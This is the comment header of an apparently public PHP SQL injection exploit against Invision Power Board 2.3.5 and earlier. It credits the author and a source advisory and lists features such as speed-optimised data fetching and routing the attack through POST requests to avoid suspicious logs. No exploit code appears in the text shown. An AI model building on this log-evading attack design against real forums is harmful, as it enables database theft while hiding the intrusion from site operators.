// IPB <= 2.3.5 sql injection exploit
// Version 1.0
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 20. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
